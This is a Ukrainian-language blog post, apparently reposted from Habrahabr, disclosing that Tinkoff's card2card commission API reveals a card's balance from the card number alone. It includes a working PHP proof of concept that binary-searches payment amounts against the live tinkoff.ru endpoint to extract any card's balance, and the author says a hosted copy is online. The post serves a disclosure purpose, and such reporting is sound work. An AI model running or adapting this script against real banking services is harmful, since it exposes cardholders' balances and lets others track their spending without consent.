Tinkoff скомпрометував дані про баланс карток своїх клієнтів

Почалося все з того, що в один прекрасний вечір попросив мене друг закинути йому грошей на картку. Завжди вирішував такі проблеми або через інтернет-банк, або через мобільний додаток, але оскільки з недавніх пір у них інтернет-банк перетворився на дикого монстра, на цей раз вирішив скористатися їх сервісом card2card.

Заповнюю собі спокійно поля, і тут трапляється несподіване:



Почекайте, адже я ж не натиснув кнопку відправити! Звідки це взялося? Погрався з сумою, перевіряється реальна сума на карті.

Спочатку я грішним ділом подумав, що аякс відправляє на сервер всі дані карти, включаючи CVC і термін дії, при кожному редагуванні. Це, звичайно, свинство, але https — нехай творять що хочуть. Заходжу в запити браузера:



CVC не передається, це вже цікаво. Зате передається термін дії, хоч якийсь захист, думаю я, хоча все ще в подиві навіщо перевіряти баланс карти аяксом на льоту.

Але все ж інтерес докопати до кінця не покидає і редагую запит:



Упс. На зворотному кінці не перевіряється нічого, крім номера карти відправника.

Очевидно, що методом простого перебору легко підібрати суму, нижче якої все ок, а вище вже помилка — це і буде баланс картки. Тобто, знаючи один лише номер картки (який звичайно інформація не дуже публічна, але й не критична, багато дають номери карт друзям і навіть викладають їх в інтернет для отримання платежів) можна довідатися, скільки там грошей. Причому, як показали експерименти, ніякі місячні ліміти на це не впливають.

Дірка не критична, але доступність цієї інформації в реальному часі дозволяє відстежувати всі витрати/поповнення — а це вже серйозніше.

Відразу ж відписався безопасникам по публічно доступною поштою, але реакції, як зазвичай, нуль.

Швиденько накидав proof of concept (сильно не бийте, мій досвід програмування — бейсік в школі).

php всередині
<?php
header( 'Content-type: text/html; charset=utf-8' );

$card = $_GET['card'];
$card = preg_replace('/[^0-9]+/', ", $card);

if (strlen($card) != 16) {
exit('<br>Wrong card number: '. $card);

}

echo 'Probing card' . $card . '<br>';

flush();
ob_flush();
sleep(1);

$money = 50000;

$max = 1000000;
$min = 0;

$done = false;
$iter = 0;

while ($done == false) {

if($iter %5 == 0) {
echo 'Still working, please hang on...<br>';
flush();
ob_flush();
sleep(1);

}

$json = file_get_contents('https://www.tinkoff.ru/api/v1/payment_commission/?paymentType=Transfer¤cy=RUB&moneyAmount=' . $money . '&provider=c2c-anytoany&sessionid=1&origin=prt&cardNumber=' . $card . '&fieldtoCardNumber=5213243731243612&fieldagreement=&securityCode=cvc&expiryDate=10/20');
$obj = json_decode($json);
$result = $obj->{'resultCode'};

if ($result == "OK") {
//need to increase
$min = $money;
$money = ($min + $max) /2;
$last_total_money = round($obj->payload->total->value);

} else {
//need to decrease
$max = $money;
$money = ($min + $max) /2;
}

$iter++;

if ((floor($max) - floor($min)) == 0) {

$done = true;
echo '<br><br>Money amount is ' . $last_total_money . ' roubles.';
}

if ($iter > 50) {
exit('<br><br>Something went terribly wrong, or the bug is already fixed. Last amount is ' . $last_total_money);
}

}

?>



Так само залив на tcs.arhs.ru, але хабраэффекта швидше за все не витримає.

Ну і на правах побрюзжать. Останній інтернет-банк вийшов абсолютно неюзабельным, сумно читати тут статті розробників, які їм ще й пишаються. Переборщили так, що навіть заходити зайвий раз не хочеться, грузиться довше деяких іграшок, добре, хоч мобільний додаток наразі нормальне.
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.